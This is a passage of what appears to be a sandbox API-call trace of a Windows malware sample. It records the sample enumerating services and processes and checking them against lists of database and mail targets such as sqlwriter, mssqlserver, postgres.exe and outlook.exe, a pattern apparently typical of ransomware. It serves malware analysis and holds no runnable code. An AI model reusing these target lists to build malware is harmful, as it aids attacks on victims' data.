lpString2="UxSms") returned -1 [0045.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0045.510] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0045.510] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0045.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0045.511] lstrlenW (lpString="WdiServiceHost") returned 14 [0045.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.511] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0045.511] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0045.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0045.511] lstrlenW (lpString="WdiSystemHost") returned 13 [0045.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.511] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0045.511] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0045.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0045.511] lstrlenW (lpString="WinDefend") returned 9 [0045.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0045.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0045.511] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0045.511] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0045.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0045.511] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0045.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.511] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0045.511] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0045.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0045.512] lstrlenW (lpString="Winmgmt") returned 7 [0045.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0045.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0045.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0045.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0045.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0045.512] lstrlenW (lpString="wscsvc") returned 6 [0045.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0045.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0045.512] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0045.512] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0045.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0045.512] lstrlenW (lpString="wuauserv") returned 8 [0045.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0045.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0045.512] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0045.512] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0045.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0045.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6355d8 | out: hHeap=0x5c0000) returned 1 [0045.512] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a4 [0045.518] Process32FirstW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0045.519] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0045.520] lstrlenW (lpString="System") returned 6 [0045.520] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0045.520] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0045.520] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0045.520] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0045.520] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0045.520] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0045.520] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0045.520] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0045.521] lstrlenW (lpString="smss.exe") returned 8 [0045.521] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0045.521] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0045.521] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0045.522] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0045.522] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0045.522] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0045.522] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0045.522] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.522] lstrlenW (lpString="csrss.exe") returned 9 [0045.523] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0045.524] lstrlenW (lpString="wininit.exe") returned 11 [0045.524] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.525] lstrlenW (lpString="csrss.exe") returned 9 [0045.525] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0045.526] lstrlenW (lpString="winlogon.exe") returned 12 [0045.526] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0045.526] lstrlenW (lpString="services.exe") returned 12 [0045.527] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0045.527] lstrlenW (lpString="lsass.exe") returned 9 [0045.527] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0045.528] lstrlenW (lpString="lsm.exe") returned 7 [0045.528] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.529] lstrlenW (lpString="svchost.exe") returned 11 [0045.529] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.530] lstrlenW (lpString="svchost.exe") returned 11 [0045.530] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.531] lstrlenW (lpString="svchost.exe") returned 11 [0045.531] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.532] lstrlenW (lpString="svchost.exe") returned 11 [0045.532] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.533] lstrlenW (lpString="svchost.exe") returned 11 [0045.533] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0045.534] lstrlenW (lpString="audiodg.exe") returned 11 [0045.534] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.701] lstrlenW (lpString="svchost.exe") returned 11 [0045.701] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.702] lstrlenW (lpString="svchost.exe") returned 11 [0045.702] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0045.703] lstrlenW (lpString="dwm.exe") returned 7 [0045.703] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0045.704] lstrlenW (lpString="explorer.exe") returned 12 [0045.704] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0045.705] lstrlenW (lpString="spoolsv.exe") returned 11 [0045.705] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.706] lstrlenW (lpString="taskhost.exe") returned 12 [0045.706] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.707] lstrlenW (lpString="svchost.exe") returned 11 [0045.707] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0045.708] lstrlenW (lpString="taskeng.exe") returned 11 [0045.708] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.709] lstrlenW (lpString="taskhost.exe") returned 12 [0045.709] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.710] lstrlenW (lpString="svchost.exe") returned 11 [0045.710] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0045.710] lstrlenW (lpString="sppsvc.exe") returned 10 [0045.711] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.712] lstrlenW (lpString="svchost.exe") returned 11 [0045.712] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barrelsince.exe")) returned 1 [0045.712] lstrlenW (lpString="barrelsince.exe") returned 15 [0045.712] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cricket.exe")) returned 1 [0045.713] lstrlenW (lpString="cricket.exe") returned 11 [0045.713] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="angelsalot.exe")) returned 1 [0045.714] lstrlenW (lpString="angelsalot.exe") returned 14 [0045.714] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bridge.exe")) returned 1 [0045.715] lstrlenW (lpString="bridge.exe") returned 10 [0045.715] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh_shipping.exe")) returned 1 [0045.716] lstrlenW (lpString="sh_shipping.exe") returned 15 [0045.716] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tobacco packet.exe")) returned 1 [0045.717] lstrlenW (lpString="tobacco packet.exe") returned 18 [0045.717] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pubscrashsatisfactory.exe")) returned 1 [0045.718] lstrlenW (lpString="pubscrashsatisfactory.exe") returned 25 [0045.718] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="confidentiality-lookup-going.exe")) returned 1 [0045.719] lstrlenW (lpString="confidentiality-lookup-going.exe") returned 32 [0045.719] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="widespread.exe")) returned 1 [0045.720] lstrlenW (lpString="widespread.exe") returned 14 [0045.720] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="silk priority recreational.exe")) returned 1 [0045.721] lstrlenW (lpString="silk priority recreational.exe") returned 30 [0045.721] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="zinc.exe")) returned 1 [0045.723] lstrlenW (lpString="zinc.exe") returned 8 [0045.723] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mainstream-footwear.exe")) returned 1 [0045.724] lstrlenW (lpString="mainstream-footwear.exe") returned 23 [0045.724] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="construction_rice.exe")) returned 1 [0045.724] lstrlenW (lpString="construction_rice.exe") returned 21 [0045.724] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mask.exe")) returned 1 [0045.725] lstrlenW (lpString="mask.exe") returned 8 [0045.725] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="rome_bool_pioneer.exe")) returned 1 [0045.726] lstrlenW (lpString="rome_bool_pioneer.exe") returned 21 [0045.726] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="owen_der_sequence.exe")) returned 1 [0045.727] lstrlenW (lpString="owen_der_sequence.exe") returned 21 [0045.727] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="curve standing.exe")) returned 1 [0045.728] lstrlenW (lpString="curve standing.exe") returned 18 [0045.728] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0045.729] lstrlenW (lpString="3dftp.exe") returned 9 [0045.729] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0045.730] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0045.730] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0045.731] lstrlenW (lpString="alftp.exe") returned 9 [0045.731] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0045.732] lstrlenW (lpString="barca.exe") returned 9 [0045.732] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0045.733] lstrlenW (lpString="bitkinex.exe") returned 12 [0045.733] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0045.734] lstrlenW (lpString="coreftp.exe") returned 11 [0045.734] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0045.735] lstrlenW (lpString="far.exe") returned 7 [0045.735] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0045.736] lstrlenW (lpString="filezilla.exe") returned 13 [0045.736] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0045.737] lstrlenW (lpString="flashfxp.exe") returned 12 [0045.737] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0046.007] lstrlenW (lpString="fling.exe") returned 9 [0046.007] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0046.008] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0046.008] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0046.009] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0046.009] Process32NextW (in: hSnapshot=0x1a4, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0046.010] lstrlenW (lpString="icq.exe") returned 7 [0046.011] Process32NextW (in: hSnapshot=0x1a4, 